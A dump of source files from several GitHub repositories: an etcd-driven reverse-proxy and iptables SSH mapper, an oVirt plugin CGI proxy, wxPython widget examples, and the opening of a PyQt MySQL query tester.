pass\n\n def add_mapping(self, uuid, node):\n LOG.debug(\"Trying to add new mapping to server %s\" % uuid)\n try:\n self.client.read(CONF.watcher.mappings_key + '/' + uuid)\n # someone did the mapping already, go away\n LOG.info(\"Existing mapping, nothing to do\")\n return\n except etcd.EtcdKeyNotFound:\n pass\n try:\n # 60 seconds TTL should be enough to get this done\n self.client.write(CONF.watcher.locks_key + '/' + uuid, 'lock',\n ttl=60, prevExist=False)\n base_key = '/'.join([CONF.watcher.mappings_key, uuid])\n for m in self.managers:\n map_info = m.add_node(node)\n LOG.info(\"[ONLINE] %s %s\" % (uuid, map_info))\n for k, v in map_info.items():\n self.client.write('/'.join([base_key, k]), v)\n except etcd.EtcdAlreadyExist:\n # do not mess with locked uuid\n LOG.debug(\"Existing lock, do not mess\")\n return\n else:\n self.client.delete(CONF.watcher.locks_key + '/' + uuid)\n\n def watch(self):\n self.client = etcd.Client(host=self.host, port=self.port,\n allow_reconnect=False)\n\n while True:\n try:\n mapped = self._get_mappings()\n nodes = self._get_nodes()\n except etcd.EtcdException, e:\n LOG.error(e)\n continue\n\n LOG.debug(\"MAPPED %s\" % mapped)\n LOG.debug(\"NODES %s\" % nodes)\n\n mapped_ids = set(mapped.keys())\n nodes_ids = set(nodes.keys())\n if mapped_ids != nodes_ids:\n for s in mapped_ids - nodes_ids:\n self.remove_mapping(s, mapped[s])\n for s in nodes_ids - mapped_ids:\n self.add_mapping(s, nodes[s])\n else:\n LOG.debug(\"no change\")\n\n try:\n self.client.read(CONF.watcher.nodes_key, recursive=True,\n wait=True)\n except etcd.EtcdException:\n # we cannot distinguish a timeout from anything else so just\n # fail if we need to in the read above\n pass\n" }, { "alpha_fraction": 0.800000011920929, "alphanum_fraction": 0.800000011920929, "avg_line_length": 24, "blob_id": "379f1b0b9e914288d0e09f5fb33758e26a8c6316", "content_id": "40b6178d81e26831bb12ccd316bba98866859756", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 25, "license_type": "no_license", "max_line_length": 24, "num_lines": 1, "path": "/README.md", "repo_name": "lwdaap-platform/bridge", "src_encoding": "UTF-8", "text": "# Framework-users bridge\n" }, { "alpha_fraction": 0.6808510422706604, "alphanum_fraction": 0.6839799880981445, "avg_line_length": 38.95000076293945, "blob_id": "b7c14f60e4f23e079d52a3a8ce77e7063ffe7d27", "content_id": "791ea343fe6dfdddcebe61259555a29fa76ee66d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1598, "license_type": "no_license", "max_line_length": 77, "num_lines": 40, "path": "/nato/managers/proxy_manager.py", "repo_name": "lwdaap-platform/bridge", "src_encoding": "UTF-8", "text": "# This file is part of Lifewatch DAAP.\n# Copyright (C) 2015 Ana Yaiza Rodriguez Marrero.\n#\n# Lifewatch DAAP is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# Lifewatch DAAP is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with Lifewatch DAAP. If not, see <http://www.gnu.org/licenses/>.\n\nimport os\nfrom pkg_resources import resource_string\nfrom urlparse import urljoin\n\nJUPYTER_SERVER_PATH = '/etc/nginx/jupyter-servers'\n\n\nclass ReverseProxyManager:\n def __init__(self, url_base):\n self.url_base = url_base\n\n def add_node(self, node):\n tpl = resource_string('nato.managers', 'jupyter-server.tpl')\n with open(os.path.join(JUPYTER_SERVER_PATH, node['uuid']), 'w') as f:\n subs = {'SERVER_ID': node['uuid'], 'SERVER_IP': node['ip']}\n f.write(tpl % subs)\n f.close()\n server_file = os.path.join(JUPYTER_SERVER_PATH, node['uuid'])\n return {'http': urljoin(self.url_base, node['uuid'])}\n\n def remove_node(self, mapping):\n server_file = os.path.join(JUPYTER_SERVER_PATH, mapping['uuid'])\n if os.path.exists(server_file):\n os.remove(os.path.join(JUPYTER_SERVER_PATH, mapping['uuid']))\n" }, { "alpha_fraction": 0.4908536672592163, "alphanum_fraction": 0.5, "avg_line_length": 20.799999237060547, "blob_id": "8de70f53dfbc18d33dabd04306694f4174f25d95", "content_id": "b77b85d5ac737ef8cc46dd178ee6ae0719bca941", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 328, "license_type": "no_license", "max_line_length": 85, "num_lines": 15, "path": "/misc/iptables_ssh.sh", "repo_name": "lwdaap-platform/bridge", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\n\nWAN_IFACE=eth0\nMAP_DIR=/ssh_hosts\n\niptables -t nat -F SSH\n\nfor f in $MAP_DIR/*; do\n if [[ -f $f && \"$f\" != ^. ]]; then\n filename=${f##*/} \n ip=${filename%_*}\n port=${filename##*_}\n iptables -t nat -A SSH -i $WAN_IFACE -p tcp --dport $port -j DNAT --to $ip:22\n fi\ndone\n\n" } ]
8
kylinfedora/ui-plugin-proxy
https://github.com/kylinfedora/ui-plugin-proxy
b1a8b12d8c44ca7355e6df8d1a688b44e4a3703f
647457482a18776293ac8c9f66632a4fd3947a7c
9f7e173f0cf5905d577bd6be29e90e928e09b187
refs/heads/master
2021-01-23T20:50:09.229909
2014-12-16T08:47:55
2014-12-16T08:47:55
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.782608687877655, "alphanum_fraction": 0.790281355381012, "avg_line_length": 54.85714340209961, "blob_id": "6d0b0622e8327fec9837d1029012c9507ae60976", "content_id": "0e226ec8e7a914b9e38d9e10b8e55bb87ba4fab8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 782, "license_type": "no_license", "max_line_length": 143, "num_lines": 14, "path": "/README.md", "repo_name": "kylinfedora/ui-plugin-proxy", "src_encoding": "UTF-8", "text": "# Introduction\nAn easy cgi script serve as a proxy on the oVirt engine machine to access the oVirt hosts resources.\nThis is convenient for users whose machine is outside the oVirt environment network and have only the access to oVirt engine but not the hosts.\n\n# Installation and Setup\n1. Copy plugin-proxy.cgi to http server's cgi directory on the server that running oVirt engine\n2. Configure the abovementioned http server properly to run the cgi script\n\n# Usage\n* Change the direct-to-host URLs in ui-plugin pages/scripts to \"PATH/TO/plugin-proxy.cgi?url=encodeURIComponent(ORIGINAL_URL)\"\n * like \"http://example_host/example_resource\" to \"/cgi-bin/plugin-proxy.cgi?url=http%3A%2F%2Fexample_host%2Fexample_resource\"\n\n# Known Issues\n* Quite a naive script, though it works fine\n" }, { "alpha_fraction": 0.572864294052124, "alphanum_fraction": 0.589614748954773, "avg_line_length": 27.428571701049805, "blob_id": "39eaa5d3c5c2b82ee01aa95871532f9782f6800d", "content_id": "e80f824fb8064f7310d1ed27435047d0082e4d2a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 597, "license_type": "no_license", "max_line_length": 79, "num_lines": 21, "path": "/plugin-proxy.cgi", "repo_name": "kylinfedora/ui-plugin-proxy", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\nimport cgi\nimport cgitb\nimport urllib2\n\ncgitb.enable()\n\nif __name__ == \"__main__\":\n form = cgi.FieldStorage()\n url = form.getvalue(\"url\")\n if url is not None:\n url = urllib2.unquote(url)\n req = urllib2.Request(url)\n try:\n response = urllib2.urlopen(req)\n print \"Content-Type: %s\\r\\n\" % response.headers.get('Content-Type')\n print response.read()\n except:\n print \"Status: 404 Not Found\\r\\nContent-Type: text/plain\\r\\n\"\n else:\n print \"Status: 404 Not Found\\r\\nContent-Type: text/plain\\r\\n\"\n" } ]
2
tm-sanjay/wxpython_examples
https://github.com/tm-sanjay/wxpython_examples
fa655880931c27db8de198253ce1e5f8399f8171
a90309dcd73a4d01d76a0c65d047052b321a4c0f
4027be0f3e0e537b6b3607a891a6dda95d9533e3
refs/heads/main
2023-08-05T08:31:56.470992
2021-09-17T18:24:19
2021-09-17T18:24:19
406,685,561
4
0
null
null
null
null
null
[ { "alpha_fraction": 0.6536952257156372, "alphanum_fraction": 0.7795944809913635, "avg_line_length": 52.64912414550781, "blob_id": "13423742ddc2876c0e97ba9a2ff578d680b66a5b", "content_id": "aa053d8d2a30e1d613d5b284252892b70ce5f6ce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3058, "license_type": "no_license", "max_line_length": 197, "num_lines": 57, "path": "/README.md", "repo_name": "tm-sanjay/wxpython_examples", "src_encoding": "UTF-8", "text": "# wxpython_examples\nThis repo contains multiple number of wxPython examples\n\n## Box Sizer \n![Image of Box Sizer](./screenshots/boxsizer.PNG) \ncheck the [code](https://github.com/tm-sanjay/wxpython_examples/blob/f05ef1e9451f21a5fc4da00003ddb926963e1ac6/main.py#L10-L27) \n\n## Grid Sizer\n![Image of Grid Sizer](./screenshots/gridsizer.PNG) \nGridsizer with `label` as elements, chek the [code](https://github.com/tm-sanjay/wxpython_examples/blob/f05ef1e9451f21a5fc4da00003ddb926963e1ac6/main.py#L37-L44)\n\n![Image of Grid Sizer](./screenshots/gridsizer1.PNG) \nGridsizer with `button` as elements, check the [code](https://github.com/tm-sanjay/wxpython_examples/blob/f05ef1e9451f21a5fc4da00003ddb926963e1ac6/main.py#L46-L49)\n\n## Flex Grid Sizer\n![Image of Flex Grid Sizer](./screenshots/flexgridsizer.PNG) \nChek the [code](https://github.com/tm-sanjay/wxpython_examples/blob/8bc91057fffd0aee2f98995833927cdd1512f994/main.py#L52-L75)\n\n## Button Event\n![Image of Button Event](./screenshots/button_event.PNG) \nButton with click event, toggle, bitmap image. Check the [code](https://github.com/tm-sanjay/wxpython_examples/blob/273e2a55d8ed96001d5521890d6603fecac8985a/main.py#L55-L92)\n\n## Checkbox Event\n![Image of Checkbox Event](./screenshots/checkbox.PNG) \nCheck the [code](https://github.com/tm-sanjay/wxpython_examples/blob/9612b2576a952aeb5ca3b8c2aeb4e9fe54d1d9c6/main.py#L101-L132)\n\n## RadioButton\n![Image of RadioButton](./screenshots/radiobutton.PNG) \nCheck the [code](https://github.com/tm-sanjay/wxpython_examples/blob/79d9db7218733c1bec6f9425ce7d381501b058a3/main.py#L135-L155)\n\n## RadioBox\n![Image of RadioBox](./screenshots/radiobox.PNG) \nCheck the [code](https://github.com/tm-sanjay/wxpython_examples/blob/79d9db7218733c1bec6f9425ce7d381501b058a3/main.py#L158-L169)\n\n## Slider\n![Image of Slider](./screenshots/slider.PNG) \nChange the font size using slider, check the [code](https://github.com/tm-sanjay/wxpython_examples/blob/79d9db7218733c1bec6f9425ce7d381501b058a3/main.py#L172-L187)\n\n## ComboBox & Choice\n![Image of ComboBoc](./screenshots/combobox.PNG) \nChoose an element form a list using comboBox and it is `editable` \n\n![Image of ComboBoc](./screenshots/choice.PNG) \nChoose an element form a list using choice and it is `read-only`, check the [code](https://github.com/tm-sanjay/wxpython_examples/blob/79d9db7218733c1bec6f9425ce7d381501b058a3/main.py#L189-L213)\n\n## TextCtrl (Text Field)\n![Image of TextCtrl](./screenshots/textctrl.PNG) \nTextCtrl 4 types: when enter, while typing, read-only & multiline. Check the [code](https://github.com/tm-sanjay/wxpython_examples/blob/79d9db7218733c1bec6f9425ce7d381501b058a3/main.py#L215-L240) \n\n## MessageBox \n<p float=\"left\">\n<img src=\"./screenshots/messagebox1.PNG\" alt=\"Info\" width=\"310\">\n<img src=\"./screenshots/messagebox2.PNG\" alt=\"warning\" width=\"310\">\n</p>\n<img src=\"./screenshots/messagebox3.PNG\" alt=\"error\" width=\"310\"> \n\nMessageBox in 3 types, check the [code](https://github.com/tm-sanjay/wxpython_examples/blob/8bc91057fffd0aee2f98995833927cdd1512f994/main.py#L267-L288)\n" }, { "alpha_fraction": 0.5585964322090149, "alphanum_fraction": 0.5777282118797302, "avg_line_length": 34.9783935546875, "blob_id": "b21c5bea7e134c606441c8c7e28cf48a1e907053", "content_id": "e0b9fd976934f674398514074f1b4f814b989d00", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11656, "license_type": "no_license", "max_line_length": 124, "num_lines": 324, "path": "/main.py", "repo_name": "tm-sanjay/wxpython_examples", "src_encoding": "UTF-8", "text": "import wx\nfrom wx.core import Choice, Panel\n\n# Panel for sized box\nclass MyBoxSizer(wx.Panel):\n def __init__(self, parent):\n super(MyBoxSizer,self).__init__(parent)\n \n # wx.StaticText(self, label = \"Box sizer\")\n \n vbox = wx.BoxSizer(wx.VERTICAL)\n hbox = wx.BoxSizer(wx.HORIZONTAL)\n \n label1 = wx.StaticText(self, label = \"Label 1\",style = wx.ALIGN_CENTER)\n vbox.Add(label1, 0, wx.EXPAND)\n \n label2 = wx.StaticText(self, label = \"Label 2\",style = wx.ALIGN_CENTER)\n vbox.Add(label2, 0, wx.EXPAND)\n \n label3 = wx.StaticText(self, label = \"Label 3\",style = wx.ALIGN_CENTER)\n hbox.Add(label3, 0, wx.EXPAND) \n \n label4 = wx.StaticText(self, label = \"Label 4\",style = wx.ALIGN_CENTER)\n hbox.Add(label4, 0, wx.EXPAND)\n \n vbox.Add(hbox)\n #must add in the end when sizer is created\n self.SetSizer(vbox)\n\n# Panel for Grid Sizer\nclass MyGridSizer(wx.Panel):\n def __init__(self,parent):\n super(MyGridSizer,self).__init__(parent)\n \n wx.StaticText (self, label='Grid Sizer')\n \n # grid(x,y,spaceX,spaceY) \n gridSizer = wx.GridSizer(4,5,3,6)\n \"\"\"\n # adds labels as grid elements\n for i in range(1,21):\n ele = 'element-'+ str(i)\n gridSizer.Add(wx.StaticText(self, label = ele), 0, wx.EXPAND)\n self.SetSizer(gridSizer)\n \"\"\"\n # adds buttons as grid elements\n for i in range(1,21):\n btn = 'button-'+ str(i)\n gridSizer.Add(wx.Button(self, label = btn), 0, wx.EXPAND)\n self.SetSizer(gridSizer)\n\n# Panel for Flex Grid Sizer\nclass MyFlexGridSizer(wx.Panel):\n def __init__(self, parent):\n super(MyFlexGridSizer, self).__init__(parent)\n \n name = wx.StaticText(self, label = \"Name\") \n author = wx.StaticText(self, label = \"Age\") \n bio = wx.StaticText(self, label = \"Describe yourself\")\n\n tc1 = wx.TextCtrl(self) \n tc2 = wx.TextCtrl(self) \n tc3 = wx.TextCtrl(self, style = wx.TE_MULTILINE)\n\n hbox = wx.BoxSizer(wx.HORIZONTAL)\n # Wx.FlexiGridSizer(rows, cols, xgap, ygap)\n fgs = wx.FlexGridSizer(3, 2, 10, 10)\n\n fgs.AddMany([(name), (tc1, 1, wx.EXPAND),\n (author), (tc2, 1, wx.EXPAND),\n bio, (tc3, 1, wx.EXPAND)])\n fgs.AddGrowableRow(2, 1) \n fgs.AddGrowableCol(1, 1) \n hbox.Add(fgs, proportion = 2, flag = wx.ALL|wx.EXPAND, border=15)\n self.SetSizer(hbox)\n\n# Panel for Button actions(events)\nclass MyButtonEvent(wx.Panel):\n def __init__(self, parent):\n super().__init__(parent)\n \n self.title = wx.StaticText(self, label='Button Event')\n \n self.label1 = wx.StaticText(self, label='Not Clicked')\n self.label2 = wx.StaticText(self, label='Toggle')\n \n self.btn = wx.Button(self, label = \"Click\")\n self.btn.Bind(wx.EVT_BUTTON,self.onClick)\n \n self.toggleBtn = wx.ToggleButton(self, label='Toggle')\n self.toggleBtn.Bind(wx.EVT_TOGGLEBUTTON, self.onToggle)\n \n image = wx.Image(\"images/play.png\", wx.BITMAP_TYPE_ANY).ConvertToBitmap()\n self.bitmapBtn = wx.BitmapButton(self, id = -1, bitmap = image,size = (image.GetWidth()+100 ,image.GetHeight()+100))\n self.bitmapBtn.SetLabel(\"Play\")\n \n sizer = wx.BoxSizer(wx.VERTICAL)\n sizer.Add(self.title, 0, wx.ALIGN_CENTER)\n sizer.Add(self.label1)\n sizer.Add(self.btn)\n sizer.Add(self.label2)\n sizer.Add(self.toggleBtn)\n sizer.Add(self.bitmapBtn)\n \n #must add in the end when sizer is created\n self.SetSizer(sizer)\n \n def onClick(self, event):\n self.label1.SetLabelText(\"Button CLicked\")\n \n def onToggle(self, event):\n state = event.GetEventObject().GetValue()\n \n if state == True:\n self.label2.SetLabel(\"OFF\")\n event.GetEventObject().SetLabel(\"Click to OFF\")\n else:\n self.label2.SetLabel(\"ON\")\n event.GetEventObject().SetLabel(\"Click to ON\")\n\n# Panel for checkbox and its events\nclass MyCheckBox(wx.Panel):\n def __init__(self, parent):\n super(MyCheckBox, self).__init__(parent)\n \n checkBox1 = wx.CheckBox(self, label = \"Car\")\n checkBox2 = wx.CheckBox(self, label = 'Bus')\n \n self.label1 = wx.StaticText(self, label = '')\n self.label2 = wx.StaticText(self, label = '')\n self.label3 = wx.StaticText(self, label = '')\n\n #bind when any checkbox is clicked (use binding only one time)\n # self.Bind(wx.EVT_CHECKBOX, self.onChecked)\n checkBox1.Bind(wx.EVT_CHECKBOX, self.onChecked1)\n checkBox2.Bind(wx.EVT_CHECKBOX, self.onChecked2)\n \n vbox = wx.BoxSizer(wx.VERTICAL)\n vbox.Add(checkBox1)\n vbox.Add(self.label1)\n vbox.Add(checkBox2)\n vbox.Add(self.label2)\n vbox.Add(self.label3)\n self.SetSizer(vbox)\n \n def onChecked(self, event):\n cb = event.GetEventObject()\n self.label3.SetLabelText(cb.GetLabel())\n print('Checked')\n \n def onChecked1(self, event):\n cb = event.GetEventObject()\n self.label1.SetLabelText(str(cb.GetValue()))\n \n def onChecked2(self, event):\n cb = event.GetEventObject()\n self.label2.SetLabelText(str(cb.GetValue()))\n\n# Panel for Radio Button and its events\nclass MyRadioButton(wx.Panel):\n def __init__(self, parent):\n super(MyRadioButton, self).__init__(parent)\n \n rb1 = wx.RadioButton(self, label = \"Car\", style = wx.RB_GROUP)\n # try style = wx.RB_SINGLE\n rb2 = wx.RadioButton(self, label = \"Bus\")\n \n self.label = wx.StaticText(self, label = \"\")\n \n self.Bind(wx.EVT_RADIOBUTTON, self.onRadioButton)\n \n vbox = wx.BoxSizer(wx.VERTICAL)\n vbox.Add(rb1)\n vbox.Add(rb2)\n vbox.Add(self.label)\n self.SetSizer(vbox)\n \n def onRadioButton(self, event):\n rb = event.GetEventObject()\n self.label.SetLabel('Selected ' + rb.GetLabel())\n\n# Panel for RadioBox and event\nclass MyRadioBox(wx.Panel):\n def __init__(self, parent):\n super(MyRadioBox,self).__init__(parent)\n \n self.label = wx.StaticText(self, label = \"\", pos = (120,20))\n rbList = ['Cat','Dog','Bird']\n rbox = wx.RadioBox(self, label = 'RadioBox', pos = (20,20), choices = rbList,style = wx.RA_SPECIFY_ROWS)\n self.Bind(wx.EVT_RADIOBOX, self.onRadioBox)\n \n def onRadioBox(self, event):\n rb = event.GetEventObject()\n self.label.SetLabel('Pet selected ' + rb.GetStringSelection())\n\n# Panel for MySlider \nclass MySlider(wx.Panel):\n def __init__(self, parent):\n super(MySlider,self).__init__(parent)\n slider = wx.Slider(self, value = 10, minValue = 1, maxValue = 20, pos = (10,10),\n style = wx.SL_HORIZONTAL|wx.SL_LABELS)\n \n self.label = wx.StaticText(self, label = 'wxPython', pos = (30, 50))\n slider.Bind(wx.EVT_SLIDER, self.onSlider)\n \n def onSlider(self, event):\n # Change the font size using slider\n obj = event.GetEventObject()\n val = obj.GetValue()\n font = self.GetFont()\n font.SetPointSize(val)\n self.label.SetFont(font)\n\nclass MyComboBox(wx.Panel):\n def __init__(self, parent):\n super(MyComboBox,self).__init__(parent)\n \n label = wx.StaticText(self, label= 'Select any Language', pos = (10,10))\n self.label1 = wx.StaticText(self, label = '', pos = (100, 30))\n self.label2 = wx.StaticText(self, label = '', pos = (100, 70))\n \n # list that will be shown in Combobox(editable)\n languages = ['C', 'C++', 'Python', 'Dart', 'Golang', 'Rust', 'Java']\n combo = wx.ComboBox(self, choices = languages, pos = (10,30))\n combo.Bind(wx.EVT_TEXT, self.onCombo)\n # combo.Bind(wx.EVT_COMBOBOX, self.onCombo)\n \n # list that will be shown in Choice(read-only)\n choice = wx.Choice(self, choices = languages, pos = (10,70))\n choice.Bind(wx.EVT_CHOICE, self.onChoice)\n \n def onCombo(self, event):\n cb = event.GetEventObject()\n self.label1.SetLabel('Combo selection ' + cb.GetValue())\n \n def onChoice(self, event):\n cb = event.GetEventObject()\n self.label2.SetLabel('Choice selection ' + cb.GetString(cb.GetSelection()))\n\nclass MyTextCtrl(wx.Panel):\n def __init__(self, parent):\n super(MyTextCtrl, self).__init__(parent)\n \n label = wx.StaticText(self, label = \"Text Field\", pos = (10,10))\n self.label1 = wx.StaticText(self, label = \"Type and press Enter\", pos = (150,35))\n # enter the text and press ender\n txt = wx.TextCtrl(self, pos = (10,30), style = wx.TE_PROCESS_ENTER)\n txt.Bind(wx.EVT_TEXT_ENTER, self.onTextCtrl)\n \n self.label2 = wx.StaticText(self, label = \"Type something\", pos = (150,65))\n txt1 = wx.TextCtrl(self, pos = (10,60))\n txt1.Bind(wx.EVT_TEXT, self.onTextCtrl1)\n \n # read-only style\n txt2 = wx.TextCtrl(self, value = \"Read Only Text\",\n style = wx.TE_READONLY | wx.TE_CENTER, pos = (10,90))\n # Multiline form\n label3 = wx.StaticText(self, label ='Multi Line', pos = (230,125))\n txt3 = wx.TextCtrl(self, size = (200,100),style = wx.TE_MULTILINE, pos = (10,120))\n \n def onTextCtrl(self, event):\n self.label1.SetLabel('Entered text = '+ event.GetString())\n \n def onTextCtrl1(self, event):\n self.label2.SetLabel('Typed text = '+ event.GetString())\n\n# Panel for MessageBox and different events\nclass MyMessageBox(wx.Panel):\n def __init__(self, parent):\n super(MyMessageBox, self).__init__(parent)\n \n btn1 = wx.Button(self, label = \"Info\", pos = (10,10))\n btn1.Bind(wx.EVT_BUTTON, self.onBtn1)\n \n btn2 = wx.Button(self, label = \"Warning\", pos = (10,40))\n btn2.Bind(wx.EVT_BUTTON, self.onBtn2)\n \n btn3 = wx.Button(self, label = \"Error\", pos = (10,70))\n btn3.Bind(wx.EVT_BUTTON, self.onBtn3)\n \n def onBtn1(self, event):\n wx.MessageBox('OK Message', caption = \"Message 1\", style = wx.OK | wx.ICON_INFORMATION)\n \n def onBtn2(self, event):\n wx.MessageBox('Warning Message', caption = \"Message 2\", style = wx.OK | wx.ICON_WARNING)\n \n def onBtn3(self, event):\n wx.MessageBox('Error Message', caption = \"Message 3\", style = wx.OK | wx.ICON_ERROR)\n\n#Frame for the UI\nclass MyFrame(wx.Frame):\n def __init__(self, parent, title):\n super(MyFrame,self).__init__(parent, title=title, size=(500,200))\n \n # add your panel here\n # self.panel = MyBoxSizer(self)\n # MyGridSizer(self)\n MyFlexGridSizer(self)\n # MyButtonEvent(self)\n # MyCheckBox(self)\n # MyRadioButton(self)\n # MyRadioBox(self)\n # MySlider(self)\n # MyComboBox(self)\n # MyTextCtrl(self)\n # MyMessageBox(self)\n\nclass MyApp(wx.App):\n def OnInit(self):\n #add locale to avoid errors related to C++ locale\n self.locale = wx.Locale(wx.LANGUAGE_ENGLISH)\n frame = MyFrame(parent=None, title='wxPython GUI')\n frame.Show()\n \n # must return 'True' in the end\n return True\n\ndef main():\n app = MyApp()\n app.MainLoop()\n\nif __name__ == '__main__':\n __name__ = 'main'\n main()" } ]
2
nicolaisi/cube-query-tester
https://github.com/nicolaisi/cube-query-tester
fb010a3968f5afbaac9c4485a5929ea15681482e
c9fe26bc1eb1f662249345d5ad4a6432925eed4f
627ce05352bf9d14f6a53dec158b7efa3d3b798d
refs/heads/master
2017-12-22T03:42:43.954090
2014-09-16T16:21:29
2014-09-16T16:21:29
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5148607492446899, "alphanum_fraction": 0.5435394644737244, "avg_line_length": 33.00354766845703, "blob_id": "c10c76dc542e1ea290af18ac45d40b8ed305cff6", "content_id": "0f0030cafb14cd46916934f81a219e0abf7c06f6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9589, "license_type": "no_license", "max_line_length": 82, "num_lines": 282, "path": "/gui.py", "repo_name": "nicolaisi/cube-query-tester", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\nimport sys, math, random, datetime\nfrom PyQt4 import QtCore, QtGui\nfrom PyQt4.Qt import *\n\nimport matplotlib\nmatplotlib.use('Agg') # before import pylab\nfrom pylab import rand, meshgrid, griddata\n\nfrom matplotlib.backends.backend_qt4agg import FigureCanvasQTAgg as FigureCanvas\nfrom matplotlib.figure import Figure\nimport matplotlib.pyplot as plt\n\nimport mysql.connector\nfrom mysql.connector import errorcode\n\nfrom subprocess import call\nimport os\nfrom time import sleep\n\n\nclass MainWindow(QtGui.QMainWindow):\n\n def __init__(self, *args):\n QtGui.QMainWindow.__init__(self, *args)\n\n self._version = \"0.0.1\"\n\n self.createMenu()\n self.createComponents()\n self.createLayout()\n self.createConnects()\n # connect DB\n self.cnx = mysql.connector.connect(user='cube', password='cube',\n host='127.0.0.1',\n database='HDCP10')\n self.cursor = self.cnx.cursor()\n\n self.setWindowTitle(self.tr(u\"Cube Query Tester\"))\n self.resize(800, 600)\n\n def createMenu(self):\n self.actionBeenden = QtGui.QAction(self.tr(\"Quit\"), self)\n # - Mac Os Support\n self.actionBeenden.setMenuRole(QtGui.QAction.QuitRole)\n\n menuDatei = self.menuBar().addMenu(self.tr(\"File\"))\n menuDatei.addSeparator()\n menuDatei.addAction(self.actionBeenden)\n\n # Help\n self.actionUeber = QtGui.QAction(self.tr(\"About\"), self)\n menuUeber = self.menuBar().addMenu(self.tr(\"Help\"))\n menuUeber.addAction(self.actionUeber)\n\n def createComponents(self):\n self.btnSubmit = QtGui.QPushButton(\"Submit\")\n self.editQuery = QtGui.QTextEdit()\n self.infobox = QtGui.QTextBrowser()\n\n def createConnects(self):\n self.actionUeber.triggered.connect(self.zeigeUeberDialog)\n self.btnSubmit.clicked.connect(self.submitQuery)\n self.actionBeenden.triggered.connect(self.quitApp)\n \n def quitApp(self):\n self.cursor.close()\n self.cnx.close()\n QtGui.qApp.quit()\n\n def createLayout(self):\n self.main_frame = QtGui.QWidget()\n\n # data\n #angle=[0.,5.,10.,15.,20.,25.,30.,35.,40.,45.,50.,55.,60.,65.,70.,75.,\\\n # 80.,85.,90.,95.,100.,105.,110.,115.,120.,125.]\n #angle = [math.radians(a) for a in angle]\n #lux=[12.67,12.97,12.49,14.58,12.46,12.59,11.26,10.71,17.74,25.95,\\\n # 15.07,7.43,6.30,6.39,7.70,9.19,11.30,13.30,14.07,15.92,14.70,\\\n # 10.70,6.27,2.69,1.29,0.81]\n #baz = []\n #for c in range(26): baz.append(random.randint(0,360))\n #pwr = rand(len(baz))\n #xgrid, ygrid = meshgrid(angle, lux)\n #zgrid = griddata(angle,lux,pwr, xgrid, ygrid)\n\n # Create the mpl Figure and FigCanvas objects. \n # 5x4 inches, 100 dots-per-inch\n self.dpi = 80\n self.fig = Figure((4.0, 10.0), dpi=self.dpi)\n self.canvas = FigureCanvas(self.fig)\n self.canvas.setParent(self.main_frame)\n \n # Since we have only one plot, we can use add_axes \n # instead of add_subplot, but then the subplot\n # configuration tool in the navigation toolbar wouldn't\n # work.\n self.axes = self.fig.add_subplot(1, 1, 1, projection='polar')\n self.axes.grid()\n self.axes.set_theta_zero_location('N')\n self.axes.set_theta_direction(-1)\n #self.axes.pcolormesh(xgrid, ygrid, zgrid)\n self.axes.grid()\n #self.axes.plot(angle, lux)\n\n # Layout with box sizers\n hbox = QtGui.QHBoxLayout()\n hbox.addStretch(1)\n #hbox.addWidget(self.editQuery)\n hbox.addWidget(self.btnSubmit)\n\n vbox = QtGui.QVBoxLayout()\n vbox.addWidget(self.canvas)\n vbox.addWidget(self.editQuery)\n vbox.addLayout(hbox)\n\n grid = QtGui.QGridLayout()\n grid.setSpacing(10)\n\n grid.addLayout(vbox, 1, 0)\n grid.addWidget(self.infobox, 1, 1)\n #grid.addWidget(self.infobox, 1, 1, 1, 2)\n\n self.main_frame.setLayout(grid)\n self.setCentralWidget(self.main_frame)\n\n def zeigeUeberDialog(self):\n QtGui.QMessageBox.about(self, self.tr(\"About Cube Query Tester\"),\n self.tr(\"<h3>Cube Query Tester \" + self._version + \"</h3>\"\n \"<p>Copyright &copy; 2014 KIT IPE (PDV Group).\"\n \"<p>This application test the cube approach \"\n \"on handling LIDAR multidimensional data.\"\n \"<br><br>author: [email protected]<br>\"));\n\n def submitQuery(self):\n timestamp = self.get_timestamp()\n\n if self.editQuery.toPlainText():\n result = self.sqlQuery(self.editQuery.toPlainText())\n if result[\"status\"]:\n # OK, process data\n stats = result[\"stats\"]\n #for item in result[\"data\"]:\n # print item\n\n # { time performance\n # PLOT HERE\n \n # }\n\n log_stamp = (\"Query: \" + stats[\"query\"] + \" \\r\\n\" \\\n \"Non-cached: \" + str(stats[\"non_cached\"]) + \" \\r\\n\" \\\n \"Cached: \" + str(stats[\"cached\"]) + \" \\r\\n\" \\\n \"Size: \" + str(stats[\"size\"]) + \" \\r\\n\")\n\n txtbuffer = self.infobox.toPlainText()\n if txtbuffer:\n txtbuffer = txtbuffer + \"\\r\\n\" + timestamp + \\\n log_stamp\n else:\n txtbuffer = timestamp + log_stamp\n self.infobox.setText(txtbuffer)\n\n else:\n txtbuffer = self.infobox.toPlainText()\n if txtbuffer:\n txtbuffer = txtbuffer + \"\\r\\n\" + timestamp + \\\n result[\"message\"]\n else:\n txtbuffer = timestamp + result[\"message\"]\n self.infobox.setText(txtbuffer)\n else:\n #QtGui.QMessageBox.about(self, self.tr(\"Error\"),\n #self.tr(\"Please enter a SQL Query and submit\"));\n txtbuffer = self.infobox.toPlainText()\n if txtbuffer:\n txtbuffer = txtbuffer + \"\\r\\n\" + timestamp + \\\n \"No query - please submit a SQL Query\"\n 